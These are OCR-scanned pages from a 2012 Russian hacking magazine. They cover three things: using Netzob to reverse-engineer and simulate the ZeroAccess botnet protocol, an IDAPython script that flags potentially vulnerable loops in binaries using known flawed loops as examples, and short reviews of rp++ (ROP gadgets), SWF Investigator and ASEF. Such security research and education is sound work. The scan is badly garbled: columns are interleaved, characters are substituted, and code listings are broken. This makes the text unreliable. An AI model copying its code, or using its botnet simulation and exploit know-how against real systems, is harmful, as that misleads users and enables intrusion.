сигналов и анализировать ответы. Экспортный модуль: этот модуль nозволяет экспортировать
выведенную модель протокола в форматах, которые понятны
внешнему программному обеспечению или человеку. Текущая
На момент написания статьи исходный код Netzob содержал работа сосредотачивается на экспортном формате, совмести­
приблиэительно 30 000 строк кода, главным образом н а Python мом с универсальными инструментами мониторинга IWiгeshaгk,
и частично на С . Сырцы доступны в репазитори и git и в виде Scapy) и фаззерами IPeach, Sulley).
па кетов для DeЬian, Gentoo, Агсh Linux и Windows. В настоящее
время Netzob поддерживает х86 и х64 и включает следующие П РАКТИЧЕСКИИ ПРИМЕР
модули: М ы опишем типичный случай исnользования Netzob - моделиро­
Модуль импорта: импорт данных возможен двумя способами ­ вание и имитацию ботнета. После очень краткого описания сцена­
либо nри испольэовании специальн ы х и нструментовэахват� рия мы объясним шаг за шагом, как ты сможешь в ы вести протокол
либо при помощи формата XML. Поскольку протоколы передачи ZeгoAccess Р2Р и сымитировать его.
данных повсеместны, важно иметь возможность захватить Допустим, ты сnециалист по информационной безопасности и
данные в максимальном количестве контекстов. Поэтому Netzob твой босс назначил тебе новую цель для аудита. Твоя цель - 105/
предоставляет собствен н ы е инструменты захвата и легко по­ IPS или очередно й-очень-умный-высокоэффекти вный брандмау­
зволяет внедрение новых. Текущая работа сосредотачивается эр, и ты хочешь проверить, обнаруживает ли он ботнеты и другие
на анализе потока данных, который прини мает сообщения вредоносы. Это знач ит, что ты должен сам создать ботнет в своей
открытым текстом п режде, чем о н и будут зашифрованы. Кроме лаборатории, используя ранее собранные образцы, и создать
того, Netzob поддерживает много входных форматов, таких как свою сеть из 100 зараженных хостов. Если у тебя нет на это време­
сетевые потоки, файлы РСАР, структурированные файлы и меж­ н и и тебе нужно решение по генерированию реального трафика,
процессную коммуникацию !канал, сокет и совместно использу­ то это тот случай, где требуется Netzob. С этим инструментом ты
емая nамять). сможешь полностью оп ределить nротокол передачи данных не­
Модули определения протокола: расшифровка словаря и грам­ обходимого botnet и после этого смоделировать его.
матики составляют основу Netzob.
Экспериментальный модуль: одна из наших основных задач
состоит в том, чтобы генерироватьреальный сетевой трафик
из недокументированных nротоколов. Поэтому мы создали Первый шаг должен захватить образцы потока данных реального
специальный модуль, который может моделировать протокол ботнета. Чтобы сделать зто, тебе нужны образцы malwaгe, своя
передачи данных между многими ботами и мастер-серверами, любимая песочница и Wiгeshaгk.
исnол ьзуя ранее заданный словарь и грамматику. Помимо На рис. 4 показан ряд па кетов UDP, посланных из твоей
использования той же самой модели, каждый «исполн итель» песочницы 1192.168.42.41) к порту 16464 из IP разных диапазонов
независим от других, и организованы приблиэительно три глав­ 176.179.7.70, 1 1 5.22.87.69, ...). Это процедура начальной загрузки
ных стадии. Первая стадия- специальная библиотека, которая нашего образца.
читает и nишет от сетевого канала. Также анализируется поток Все эти пакеты одной длины 158 байт) и кажутся довольно
в сообщениях согласно предыдущим слоям протоколов. Вторая статичными. Когда пир отвечает, отсылается назад пакет UDP,
стадия и спользует словарьдляnереработки полученн ы х со­ который вызы вает создание сессии ТСР между нашим образцом
общений в символы и обратно, чтобы преобразовать получае- и удаленным пиром.

086 ХАКЕР 11 /166/2012


Вскрытие ботнета

��цent : -....
_,. .. ------------- 10 +

Unit t.Ь:e : � 4 ttk• 8 8 bks

Optbn ; ,......, Orpt11n rtdu<tbn М Stroottt IU:Jntrnent

Рис. 6. Параметры выравнивания nосnедоватеnьностм

общие сообщения, с целью перегруппировки их в специальные


символы и получения разделенных полей.
Когда это сделано, выравнивание показывает только один
символ со всеми сообщениями, разделенными на 47 полей. Такое
количество полей для одного типа символа по меньшей мере
Рис. 5. Распределение байтов в lвероятно) заwмфрованном сообщении
маловероятно. Это означает, что мы должны продолжить процесс
выравнивания для этого символа и попытаться разделить его на
Так как мы интересуемся протоколом Р2Р, мы извлекаем паке­ разные символы. Таким образом, пошагово возрастает <<порог
ты UDP с источником или портом назначения 16464. Полученный подобия>>. При значении приблиэительно в 70% мы получаем ин ­
РСАР может быть проанализирован в Netzob. тересный результат - два различных символа: первый содержит
маленькие сообщения с тремя полями, в то время как второй со­
ЗАГРУЗКА И УСТАН ОВКА NEТZOB держит 33 <<маленьких>> поля с чередующимися динамическими и
Так как Netzob пока находится в статусе «бета», мы рекомендуем статическими значениями и огромным статическим полем в конце.
использовать последнюю доступную версию, которую можно най­ Мы не будем рассматривать эту огромную статическую область в
ти на официальном git-cepвepe: этой статье и сконцентрируемся на nервой части.
Если представить сообщения в строчной форме, мы можем
git сlопе http s : //dev . netzob . org/git/netzob. git/ определить, что второе поле связано с командой ботнета. Первая
команда - getl, как покаэано на рис. 7, и соответствует первому
Для установки запускаем setup.py: па кету. посланному вредоносом. Оказывается, что его формат со­
общения идентичен каждому образцу от вредоноса.
python setu p . py build
python setup.py develop ОПРЕДЕЛЕНИЕ ДАННЫХ ОБ ОКРУЖЕНИИ
Вторая команда - гetl- связана с ответом запроса getl. По­
Как только все готово, можно запустить Netzob: скольку мы изучаем протокол Р2Р, который находит IР-адреса
других пиров, то попытаемся найти эти IP в полезной нагрузке retl
. / netzob ответа сообщения. Чтобы зто сделать, мы используем функцию по­
иска зависимостей от nеременных окружения. Мы просто ищем IР­
СОЗ НИЕ НОВОГО ПРОЕ КТА адреса, используемые во время обмена данных нашего вредоноса.
Мы создаем новый проект под названием RE_ZeгoAccess. куда им­ После некоторых поисков мы можем найти многие из этих IР­
портируются пакеты РСАР UDP. Цель нашей работы будет состоять адресов в структур ированном формате:
в том, чтобы понять эти сообщения.
( IPl] хххх [IP2] хххх (IРЗ] хххх ...
РАСШИФРОВКА СЛОВАРЯ
Первый шаг состоит в «игре» с особенностями Netzob: разделение IР-адреса появляются в обратном порядке.
!выравнивание последовательности, основное выравнивание ...!.
кодирование и свойства визуализации lшестн адцатеричная ОПРЕДЕЛЕНИ Е ОТНОШЕНИЙ
система, восьмеричная, строка . . . !, поиск известного образца, раз­ Запускаем другую функцию Netzob, которая nытается найти
деление и объединение полей и так далее. базовые отношения между полями в символе. В результате Netzob
Первичный анализ показывает некоторые статические и находит, что четвертое поле связано с числом найденных IР­
динамические поля фиксированной длины. Это хорошее нача­ адресов. Получающийся формат сообщения:
ло. Однако содержание области кажется довольно неуклюжим.
Анализ распределения байтов !см. рис. 51 показывает, возможно. уууу [command] еее . . еее (NЫР] ( I P l ] хххх (IP2] хххх \
зашифрованное или подвергшееся обфускации содержимое. (IРЗ] ххххх . . .

РАЗДЕЛЕНИЕ ФЛАГОВ В ПОЛЯХ МОДЕЛИРОВАНИЕ ОТНОШЕНИЙ В NEТZO B


После преобразования полезной нагрузки сообщения с помощью Формат сообщения и ожидаемое содержание каждого поля могут
заложенного в Netzob математического фильтра мы применяем также быть представлены в виде дерева, как показано на рис. 8.
процесс выравнивания на расшифрованных сообщениях, ис­ Этот интерфейс, предусмотренн ы й в Netzob, позволяет указывать
пользуя функциональность выравнивания последовательности отношения между полями. Например, мы видели, что четвертое
!см. рис. 61. Наша цель состоит в том, чтобы идентифицировать поле связано с числом IР-адресов в полезной нагрузке. Мы можем

ХАКЕР 1 1 /166/2012 087


взлом

сгенерировать валидный трафик, исnользуя специальный режим


работы инструмента.
Доnустим, мы хотим смоделировать работу клиента, который
следует выведенному nротоколудля коммуникации. Через не­
сколько секунд мы можем nроверить его сnецификацию, создав
сетевого исnолнителя. Наnример, рис. 9 nоказывает nара метры,
требуемые для создания ZeгoAccess Bot, который подключится
к udp://11 5.22.87.69:16464 и начнет обмен данными согласно в ы ­
веденной грамматике и словарю.
После этого созданный исnолнитель «ориентируется»
Рмс. 7. Формат сообщения nервой команды ge\L
в грамматике и выnолняет nереходы, соответствующие текущему
состоянию. Если nереходы валидны la значит, валидны nосланные

_;;_ 00000000
1
.getL '
Field 1 v < Field 2 v < Field 3 v < Field 4 и полученные сообщения!, это при ведет к изменению состояния.
J,{.8JI
1
1.{,8}1 Существует три основных типа nереходов:

11 hex 1 . OpenChanneiТгansition: открывает канал связи. следуя ука­


t?ooooooo
hex stгing hex

00000000
занному n ротоколу. Его параметры lip_souгce, poгt_source,
04eca70d � etL f7d337d3
ip_destination, poгt_destination! извлека ются из nамяти.
d039c13e getL е66а669а
2. CloseChanne iТгansition: закрываеттекущий канал связи.
3. SemiStochasticTгansition: nолучает, парсит !сохраняет nолучен­
Рис. 8. Представnение содержа ния поnей
ные значения nолей в nамяти! и отвечает, исnользуя связанное
сообщение. Тиnичный пример- nереход, который ждет сообще­
указать зто отношение в Netzob через интерфейс дерева. Может ния getL и отвечает сообщением гetl.
быть исnользован и другой вид отношения !размер nоля, CRC, nо­
рядковый номер и так далее). Простейшая модель бота, исnользующая грамматику, начинает
Другое важное отношение, которое мы обнаружили, - то, что обмен данными с nервым nиром и nрекращает ее nосле nростого
IР-адрес, который nоявляется в nолезной нагрузке, исnользуется, обмена заnросами getL/гetL. Спустя 500 мс он заново открывает
чтобы начать соединение ТСР. В Netzob это отношение смодели­ соединение с одним из nиров из сnиска. Таким образом, симулятор
ровано, связывая содержание IР-области с метада нными будущей может исnользоваться для nостроения карты ботнета и генерации
сетевой коммуникации lв нашем nримере - между целевым IP валидного сетевого трафика.
и Lауег 4). Это отношение будет использовано во время моделиро­
вания трафика, как оnисано ниже. ЗАКЛ Ю Ч Е Н И Е
Инструмент Netzob создан для реверсивного инжиниринга и с и ­
РАСШИФРОВ КА ГРА ММ АТИ К И мулирования nротокольной коммуникации. Данное П О nолезно
Netzob nозволяет nолностью выводить и моделировать сложные для работы с недокументированными протоколами и анализа
грамматики. В нашем случае, чтобы упростить задачу, мы рас­ уязвимастей в собственных nротоколах. Работа над инструментом
сматриваем только два nредыдущих символа lgetL и гetL). Полный nродолжается в нескольких различных направлениях. Напри­
nроцесс вывода словаря выделил б ы другие символы, включая мер, м ы внедряем nоддержку более сложных nроцедур фаззинга
getF, гetF, sгv... в рамках модуля симуляции трафика. В скором времени Netzob
Расшифровка грамматики основана на активном nроцессе научится генерировать nарсеры nротоколов, что nозволит рас­
выведения грамматики с nомощью специального алгоритма, ширять функционал сторонних nродуктов. Следи за развитием
который включает симуляцию вредоноса. После каждой симуля­ nроекта! ::r::
ции вредоное возвращается к своему начальному состоянию. Это

а•а.мgы:м
достигается nри nомощи снаnшотов в твоей любимой виртуаль­
ной машине.
Чтобы быть эффективным, этот модуль должен быть максималь­ Вся информация
но настраиваемым и адаптироваться к множеству случаев. Netzob Create а Network Actor nредоставnена
nозволяет вывести грамматику сетевого сервера или сетевого исключительно
General lnformatlons в ознакомительных
клиента, а также вывести каналы обмена данных по ТСР и UDP. цеnях. Ни редакция,
Исследователь может наnисать скри пт, который возвращает 10 ни автор не несут
ответственности
вредоное к его начальному состоянию. Простой скрипт восста­ ztro.AccesiSol за любой возможный
новления состояния, который остановит, очистит и nерезаnустит вред, nричиненный
nесочницу, основанную на ViгtuaiBox, выглядит так: � lnt.iltor материалами данной
Network Conflgur;otlon статьи.

# ! /Ьin/sh Тур. CLIENT

vboxName="TargetWindowsXP" Predefined 1/a.I:Jes

vboxid= " ab922c7e-lc88-404a-a9fa-87fd9d4ff59e" l4-PROTOCOL UDP

snapshotid="NetzobReady" BmD-IP 192.168.42.41

61NO.PORT
vboxmanage controlvm $vboxName poweroff
vboxmaпage snapshot $vboxName restorecurrent TARGE Т.IP 115.22 87.69

vboxmanage startvm $vboxName - - type headless

М ОДЕЛИРОВАНИЕ ТРАФИ К А .-.nnttltr .8J <::/ Apptquer


Предыдущие шаги nоказали, как Netzob может исnользоваться
для nонимания недокументированного протокола. Как только мы
смоделировали словарь и грамматику nротокола, мы можем легко Рис. 9. Соэдание симу.nятора бота ZeroAccess

088 ХАКЕР 1 1 /166/2012


взлом ДммтрмМ «Dharm» Прон�tкмн (twitter.com/skySearcherl

И щем ошибки
в циклах
Вся информация
nредоставnена
мскточмтеnьно
в оэнакоммтеnьных
цепях.
Нм редакция,
нм автор н е несут

П РОДОЛЖАЕМ ИСПОЛЬЗОВАТЬ ответственности


за nto6oM IОЭМОJКНЫМ
вред, nричиненный
матермаламм данноМ
IDAPYTHON ДЛЯ БИНАРНО Г О АНАЛИЗА статьи.

mov ах, [ еаХ+4]


Поиск уязвимасте й можно автоматизировать !
cmp ах, '\'
В п р ошлом номере м ы уже р а ссматри в а ли не ­ jz short loc_761AE698
сколько дейст в е н н ы х п ри е м о в с использо в а н и е м �ub edx, есх
begiпloop;
I DAPythoп. А в этот раз попро б уем а втоматизи­ mov [ е с х ] , ах ; пишем
ровать поиск о ш и б о к в тако й ко нструкции , как iпс есх ; итератор
iпс есх
ц и кл, разра б отав дл я этого пол езны й скрипт н а mov ах, [ecx+edx]
Pythoп, испол ьзующи й возможности I DA Рго. cmp ах, '\' ; проверка с '\'
j п z short begiпloop

UNС-строка задается в формате <<\\сервер\ресурс\путь» и передает­


При поиске уязвимастей в программах с закрытым кодом цикл - ся в юникоде. Приведенный цикл nроnускает первые четыре байта (сим­
один из ключевых паттернов, в котором часто присутствуют ошибки волы \\1 и копирует данные в приемный буфер вплоть до обнаружения
безопасности. Идентификация циклов часто оказывается одним из завершающего обратного слеша !символа <<\»1, без какой-либо проверки
ключевых факторов реверс-инжиниринга. На функциональном уровне размера. Такой цикл (который ограничен не количество копируемых
распознать цикл немудрено: его отличительная черта - зто переход байт, а фактом встречи с определ енным значением! попадает в прицел
в обратном направлении, приводящий к повторному выполнению кода. зксплоитера, который размыкает его лишь после перезаписи управля­
То есть цикл - зто многократно исполняемая последовательность ин­ ющего злемента в стеке. То есть поток выполнения nрограммы в цикле
струкций. А единичное выполнение тела цикла именуется итерацией освобождается лишь при встрече с какой-то инструкцией, но не после
(повторением!. В отличие от конструкции iпliпe memcpy, рассматрива­ определенного количества повторов. Такая ошибка программирования
емой в предыдущей части, цикл может не иметь счетчика. Но он всегда является фундаментальной для безопасного программирования.
имеет условие окончания повторений. Подобный натюрморт наблюдается в дефектном коде бюллетеня
На приведенном примере два блока представлены в виде графа. MSOB-067:
Каждый блок имеет две точки: ту, на которую выполняется переход,
и ту, с которой управление переходит далее. Путь идентификации begiп_loop ;
цикла состоит в построении дерева доминаторов - родословной mov еах, dword ptr [еЬх]
графа потока управления. На рисунке блок А является корнем дерева movzx есх, word ptr [еах ]
J«B компьютерных лесах деревья растут сверху вниз». Б. Шнайерl и до­ cmp ecx, SCh ; проверка с '\'
минатором блока В, по-другому говоря - предком (предикатом!. Соот­ je out_of_loop ; на выход
ветственно, блок В - потомок блока А. Ключевая особенность графа mov е ах, dword ptr [еЬх ]
потока управления цикла в том, что потомок ссылается на предка. cmp е ах, dword ptr [esi]
Идентифицировать цикл через построение дерева доминаторов je out_of_loop ; на выход
способен плагин к IDA Loop Detectioп, скрипт fiпdloop из lmmuпity mov eax, dword ptr [еЬх]
Debuggeг, Loop coloгizeг от Ильфака Гуильфанова. Но найти -зто не sub еах, 2 ; ит ератор
то же самое, что и понять. Позтому перейдем к примерам уязвимастей mov dword ptr [еЬх ] , еа х ; пишем
в циклах и их анализу. jmp begiп_loop

КОЛЕСО ПЕРЕРОЖ Но и современность также балует уязвимыми циклами. Взглянем на


Самая известная уязвимость в рассматриваемом паттерне - это пере­ недавнюю уязвимость в SAP NetWeaveг (CVE-2012-261 11:
полнение буфера в интерфейсе RPC DCOM. Печально известная уязви­
мость стала результатом непроверяемого цикла копирования строки begiп_loop ;
при выделении имен серверов из путей в формате UNC. cmp edx, 2

090 ХАКЕР 1 1 /166/2012


Ищем о ш и б к и в циклах

mov [ebp+DataEnd], Tracelnfo


jnz copy_with_unicode_conversion ; nереход
; т�11а
ВНУсРИ
1
начальны й адрес
mov dx, Tracelnfo
mov [ebp+eax*2+var_d ] , d x ; заnись в nамять
jmp loop_end
copy_with_unicode_conversion:
movzx сх, byte ptr [Tracelnfo]
mov [ebp+eax*2+var_d ] , cx ; заnись в nамять
А
loop_end :
cmp [ebp+eax*2+v�r_d ] , e � nока не встретится
переход внутри тела

1
; ноль
jz out_of_loop

add eax, l ; инкремент


add Tracelnfo, edx
jmp begin_loop

Условие выхода из тела в приведенном примере - это встреча


с нулем. В поиске зеро обусловленный поток уnравления в таком в
цикле может проходить не по всем блокам тела цикла. От чего фак­
тор записи в память и условия выхода из тела не меняются. Таким
образом, без nостроения дерева доминаторов можно обойтись. конеч н ы й адрес
Достаточно найти nуть между начальным и конечным адресами.
Нас интересуют только точки выхода !условные джампы с выше­
1
стоящими инструкциями сравнения) и контролируемость значений,
участвующих в сравнении.
Рмс. 1. Структур• цмкnа
Как известно, подход к операции сравнения качественно может
изменить то, что ожидалось. Иначе получается как всегда. В следу­
ющем примере приветливо сияют женской логикой знаковый пере­ test esiJ esi
ход и инструкция умножения. Причем в умножении участвуют те, от jg short loc_SDEDEDЗЗ
кого зависит выход. Взглянем на целочисленное переполнение в jmp short loc_5DEDED24
XnView: loc_SDEDEDlE:
mov [edi ] , dx
begin_loop: inc esi
xor есх, есх inc edi
mov edx, [edi] inc edi
mov с х , [еЬр+е] loc_5DEDED24 :
imul ecxJeax ; оnерация умножения с inc dword ptr [есх+В ]
; у словиями выхода mov edx, [ес Х+В]
mov [edx+eax*4] , ecx cmp edx, [есХ+4]
mov есх, [edi+B] jl short begin_loop
inc еах
cmp eaxJecx Пример от остальных мало чем отличается, а приведен, чтобы
j l short begin_loop nо казать то, что называется false positives - отрицательный ре­
зультат анализа. ZERT IZeroday Emergency Response Team) добави­
В этом nримере арифметические оnерации с регистрами ­ ла nроверку значения, находящегося по адресу iecX+4), тем самым
оnераторами сравнения и знаковый nереход nриелекает внимание условие выхода из цикла стало <<nрибито гвоздями>> lэахардко­
несовершенством целочисленных оnераций. И как всегда, арифме­ дено). Microsoft же в своем nатче добавила проверку итератора.
тические оnерации участвуют в колдовстве. Здесь их парочка, но nроверки одного достаточно:
Подведем nромежуточный итог. Что же такое уязвимость цикла?
Исходя из корня слова <<оnределение>>, обозначим границы контро­ cmp esi, 0FEh
ля за циклом. Из приведенных выше листингов дефектного кода jnb short skip_copy
следует, что интересность цикл а - это фактор заnиси + фактор
контроля за условием выхода из цикла. mov [edi ] , d x
В следующем nримере nокаэаны варианты контроля за циклом. i nc esi
Речь об уязвимости в Microsoft Vector Gгaphic rendeгing Engine inc edi
ICVE-2006-4868). Вот код: inc edi

begin_loop : Отметим, что, если значение esi контроли руется, при знаковом
mov edx, [есх+В ] nереходе nосле сравнения можно было бы nо-прежнему «об­
mov еЬх, [есх] ладать телом цикла>>. Но использование беззнакового nерехода
mov dx, [ebx+edx*2] jnb закрыло путь-дорожку к эксплуатации. В nатче от ZERT также
test dx, dx семейка знаковых nереходов была обделена вниманием.
jz short loc_5DEDED2F ; пока н е е В итоге имеем проверку одного из итераторов и одного из эле­
cmp dx, 20h ментов проверки выхода из цикла. То есть, для скриnта возникает
jnz short loc_SDEЩDlE ; nока не 20h две задачи обработки двух nоследовательностей инструкций:

ХАКЕР 11 /166/2012 091


взлом

,...,.•.ar . ,. •
•Ht.tt •IW:aц•tl•• ; 1 ..., •a��ool l... 18Af\ll•
,..t•tl
cmp reg32, imm32 ; с равнение итератора .qo. •

=;·:-.·le,:,.
inc j add j s ub j dec reg32 ; итератор

cmp reg32, imm32 ; сравнение оnеранда проверки

cmp eopnd , 1opnd ; где reg3 2 - один из оnерандов


jump out_of_loop ; на выход из цикла

Куда же без основной задачи реверс-инжиниринга: «будет л и


Х иметь значение У nocpe заданного набора инструкций ?>>. Наряду
с inline memcpy, анализ циклов также нуждается в трассировке
регистров.
Продолжая тему false positive !истинно негативных! nризнаков, Рис. 2. Цмкn в iDA
следует обратить внимание на то, что цикл может быть подобен од­
ной из инструкций stosЬ/stosw/stosd, nишущих в nамять константу.
Но вернемся к пониманию прекрасного - свойствам потенци­ Затем, исnользуя сnисок адресов, находим nаттерн заnиси в
ально уязвимого цикла: nамять - инструкцию mov, где 0 - й операнд- память. а 1-й ­
заnиси в память непостоянного значения; регистр lnрим.: mov [eax],ecxl. Темная сторона этого свойства
• отсутствию корректной проверки выхода и з цикла. !деготь в меде! nроявляется, когда 1 - й оnеранд - nостоянное
значение l n р и м.: OxBAADFO O D - потеря а n n етита от такой п и щ и
С зтим багажом начинаем реализовывать задачу поиска тела гаранти рованаl.
цикла и nроверки на вшивость. Основная задача - анализ усло­
вий выхода и з тела цикла. for addr in bodyaddr :
if GetMnem(addr)== "mov" :
КОНТРОЛИРУЕМЫЙ В ЫХОfi:Ы. :&.�. =ш # Сnисок "nамятных" тиnов : базовый
АСТРАЛ ЬНЫЕ ПРАКТИКИ # регистр + индексный регистр� базовый
Предлагаемое заклинание кода имеет следующие этаnы: # регистр + индексный регистр + смещение
1. Поиск тела цикла l n и кanl. Составляем сnисок всех условных memtypes= [3,4]
nереходов и адресов тела. if GetOpType(addr, e) in memtypes :
2. Поиск nаттерна записи. # Если 1 - й оnеранд регистр
3. Поискусловий в ыхода. if Get0pnd (addr, 1 )==1 :
Поиск условных переходов, указы вающих на выход из тела. # Цикл nишущий" вернем ист ину
Поиск и анализ инструкций сравнения. return 1
4.1 . Трассировка операнда инструкции сравнения.
4.2.Поиск итератора и трассировка его оnеранда. Далее ищутся условные nереходы, указывающие за nределы
цикла.
Алгоритм nоиска тела цикла бази руется на nостроении
трассы выполнения от начала цикла до точки, с которой все for addr in branchpoint s :
возвра щается на круги своя. Для части циклов эта трасса будет # Получаем ссылки
полностью охватывать тело. И это не единственное ограниче­ xref1=Rfirst(addr)
н и е nредлагаемого концеnт-скриnта. С вложе н н ы м и циклами xref2=Rnext(addr, e)
и с теми, где адрес макушки цикла больше, чем адрес его стоn, # Если одна ссылка указывает на тело
также работа не ведется. i f xref1 in bodyaddr:
Деятельность по исследованию цикла начи нается с того, что # з аймемся второй
функция берет адрес nерехода назад. И, исnользуя адрес начала цик­ # Функция - ищейка попытается найти тело за 2В
ла, ищет путь к нему. Тем самым nроходя по всемутелу либо его части, # шагов и nомашет флажком
nоnутно составляя сnисок адресов тела и условных nереходов. flag=SearchBodyдddr( xref2)
else :
while addr! =startaddr : flag=SearchBodyдddr( xref1)
# Получаем ссылки if flag==1 :
xref1=RfirstB(addr) # Удалим переход - инсайдер
xref2=Rnext(addr, e) branchpoint s . remove(addr)
# Отсев ненужных ссылок
if xref2! =Bxffffffff and GetMnem(addr) ! ="call" and Теnерь от каждого jump-a, указывающего из тела, ведется nоиск
GetMnem(addr) ! = "jmp" : комnараторо в - инструкций сравнения cmp, test. Нулевой операнд
# Добавляем адрес с условным переходом в список каждого «сравнивателя>> скармливается функции трассировки,
branchpoint s . append(addr) дабы nознать значение регистра-оnеранда.
# Проверка на пропасть
if xref1 == exffffffff : # Сnисок инструкций сравнения
break cmps=( ' cm p ' , ' test ' ]
addr=xref1 # за небольшее кол -в о шагов
# Добавляем текущи й адрес к списку с телом цикла for count in range( S) :
bodyaddr . append(addr) # пока не найден сравниватель

092 ХАКЕР 1 1 /166/2012


Ищем ошибки в циклах

while GetMnem(addr) not in cmps :


addr=RfirstB(addr)
if GetMnem(addr) =="test" :
# Если " внетелесный джамп " один - оди нешене к)
# то имеем дело с nроверкой на ноль
# (test reg, reg 3квивалентно cmp reg,B)
if len( branchpoints )==1 :
# Добрые вест.и
print "input i s exi t condition 1 "
vulncount+=l
break
# Встречая cmpJ где 1 -й оnеранд != константе
if GetMnem(addr)== "cmp" and GetOpType(addr, l ) ! =S :

reg=GetOp�d(addr, B)
# передаем нулевой оnеранд трассировщику

TraceVal ( reg,addr,iters)
Рмс. 3. Потенциально уя1вммыiil цмкл 1 mshtml.dll
break
# Нашла коса на камень
if GetMпem(addr)=="cmp" and GetOpType(addr, l ) ==S : между знаковыми и беззнаковым и! стоят, как обычно,
# Печалька на особом счету.
hardcoded=l
# Не теряя наде жду , шагая вниз, ищем j [gl] # ПоАозревая signed/unsigned mismatch
for count in range(S ) : suspectedins=[ "movsx" , ·· sub" , "add" ]
addr=Rfirst (addr) # Посыльщики
if GetMnem( addr) in signjumps : movers= [ "mov" ,_·:movzx" ] \
vulncount+=l # Виды адреса!jии [ebp+esi ] , (ebp+esi+S]
memtypes=( 3,4]
Трассировка нужна и в отношении операнда итератора (счетчи­ # Берем адрес начала функции
ка!. Если итераторов несколько, то необходимо проверить операнд parent = GetFuлctionAttr(addr,B)
каждого из них, в связи с возможностью присутствия проверки while addr ! = parent or addr!=Bxffffffff :
количества прохождений цикла. Трассировка итератора отлична от # На случай чанкед-функций
трассировки нулевого операнда инструкций сравнения cmp и test. # ищем начало фрагмента
Как видно из nримеров уязвимых циклов, если операнд итератора Н' GetMnem(addr)== "push" and GetOpnd (addr , В)=•"еЬр" :
сравнивается с константой и переход после сравнения беззнако­ print "prolog"
вый, то это однозначный провал операции по захвату тела. При break
знаковом переходе надежда еще есть. # Получаем ссылку
addr = RfirstB( addr)
inc reg32 # Ище м nациента
cmp reg32, imm32 if GetOpnd(addr,B)==reg:
jnb out_loop # Если значение возвращается функцией
if GetMnem(addr)=="call" and reg=• "eax" :
Составляем список итераторов тела print reg, " returned Ьу call"
break
# Список возможных итераторов # Обнуление счетчика - ч а с тое событи е
iterlist=[ "inc" , "add" , " s ub" , "dec" ] if GetMnem(addr)=="xor" :
# Припасаем вместил ище print reg, ''xored"
iters= [ ] hardcoded=l
# в с nис к е адресов тела ищем цели break
for addr in bodyadd r : # Встреча с nодозреваемыми без алиби
i f GetMnem(addr) i n iterlist: if GetMnem(addr) in suspectedins and addr \
# Ищущий да зааnnендитс я not in iters:
iters. append (addr) print "suspected iпs" , reg, "at addr" , hex(addr)
return iters vulncount+=l
# Или обьект трас сировки меняется
Затем для каждого элемента списка итераторов вызываем # или разводим руками : из nамяти nришло,
трассирующую функцию # в nамять уйдет
if GetMnem(addr) in movers:
for addr in iters: if GetOpType(addr, l )==l :
reg=GetOpnd(addr, B) reg=GetOpnd(addr, l )
Traceva l ( reg,endaddr) if GetOpType(addr, l ) in memtypes:
print reg, "from memory"
Трассировщик обращает внимание на инструкции-пере­ break
сыльщики, инструкцию call, если трассируемый регистр еах.
И нсtрукция хог, часто использующаяся для того, чтобы захард­ Итак, анализ циклов - неординарная задача. Рассмотренный
кадить счетчик, подлежит обязательному поиску в качестве с крипт обладает ограниченным функционалом. Расширив его,
признака неинтересного цикла. Арифметические инструкции исследователь уязвимастей может облегчить задачи nоиска уязви­
(могущие быть причастными к ошибкам преобразования чисел мастей в двоичном коде. :Х:

ХАКЕР 11 /166/2012 093


взлом Дмитрий �Ф1g1�• Евдокимов, Dlgital Security (twitter.com/evdokimovds)

Вся информация nредо·


ставлена исключительно
в оэнакомительных целях.
Ни редакция, ни автор не
несут ответственности
за лtобой возможный вред,
nричиненный материалами
данной статьи.

СО ФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

Автор: Автор: Автор:


OverciOk Peleus Uhley Parlh Patel
URL: URL: URL:
https-Ug!thub a
l bsa
dgb
ecom/ hllp$·/kodegoggle,
cpm/Qyerctok/rp (Wmol� =LIIlillf
Система: � Система:
Win/Linux/FreeBSD/ Система: Linux/Mac
Мае Windows/Linux

Сегодня уже трудно nредставить себе эксnлойт Adobe SWF lnvestigatoг - это кроссnлат­
без исnользования RОР-nоследовательностей форменный инструмент с GUI-и нтерфейсом,
!коротенькие цеnочки инструкций кода nозволяющий тестерам, разработчикам или с точки зрения их nотенциальной оnасности.
из какого-то модуля!. Причиной тому nовсе­ исследователям безоnасности быстро анали­ Оценивается не только само nриложение,
местное расnространение DEP lnоявившегося зировать SWF-файлы для улучшения качества но и его сnособы работы с nользовательскими
в 2004 году!, который nреnятствует выnолне­ и безоnасности своих nриложений. Причем данными. Программа сnособна анализировать
нию классического шелл-кода в стеке и куче. реализован как статический, так и динамиче­ как конкретный АРК-файл, так и nрограммы
RОР-цеnочки nозволяют разработчикам экс­ ский анализ. на реальном устройстве.
nлойтов обходить DEP. Для тестирования nриложения nомеща­
Подход nростой. Если в nрограмме из nомех Статические возможности: ются на «Виртуальное устройство>> Andгoid
только DEP, то находим модуль без ASLR и на • дизассемблирование AS2/AS3 кода; Viгtual Device - своеобразный «черный
его основании строим наши гаджеты. Но если редактирование SWF файлов; ящик>> или nесочница, но возможен анализ
в эксnлуатируемой nрограмме все модули отображение SWF-тегов; и на реальном устройстве. Затем генериру­
скомnилированы с ASLR, то либо ищем сnособ nросмотр доnолнительной инфомрации ются методы взаимодействия с программой
nодгрузить в ее адресное nространство модуль п о SWF-файлу ILSО-объекты и рег site !ввод данных, скроллинг, нажатия на кноnки!
без ASLR и на его основе строим гаджеты, либо nараметрыl. и изучается ее реакция. ASEF регистрирует
находим утечку адреса в nрограмме и тут уже сетевой трафик, активность ядра, сохраня­
будем строить RОР-nоследовательность от Динамические возможности: ет дамnы nамяти, регистрирует активные
модуля, от которого мы nолучили адрес. JIТ­ вызов функций из SWF-файла; nроцессы на каждом этаnе работы nрограм­
шелл-код- зто отдельная история. • загрузка SWF в различные контексты; мы, nосле чего информация анализируется
Итак, RОР-гаджеты нам nоможет искать взаимодействие через локальные сnециальным модулем ASEF, который ищет
инструмент с незамысловатым названием соединения и отnравка сообщений Action nризнаки вредоносного nоведения. Програм­
гр++. Программа nолностью наnисана на С++ Message Foгmat IAMFI. ма отслеживает:
и nозволяет обнаружить гаджеты в PE/ELF/ • сетевую активность;
Mach-0 х86/х64 бинарных файлах, тем самым SWF lnvestigatoг содержит расширяемый • сетевой трафик;
значительно расширяя область атакуемых фаззер для SWF-приложений и АМF-сервисов. известныеуязвимост�
nлатформ. Утилита также nоддерживает Также этот набор инструментов содержит • ассоциируемые разрешения;
lntel и АТ& Т синтаксис инструкций и вывод кодеры и декодеры для SWF-данных и базовый исnользуемые АРI-вызовы
информации о заголовке исnолняемого би­ АSЗ-комnилятор.
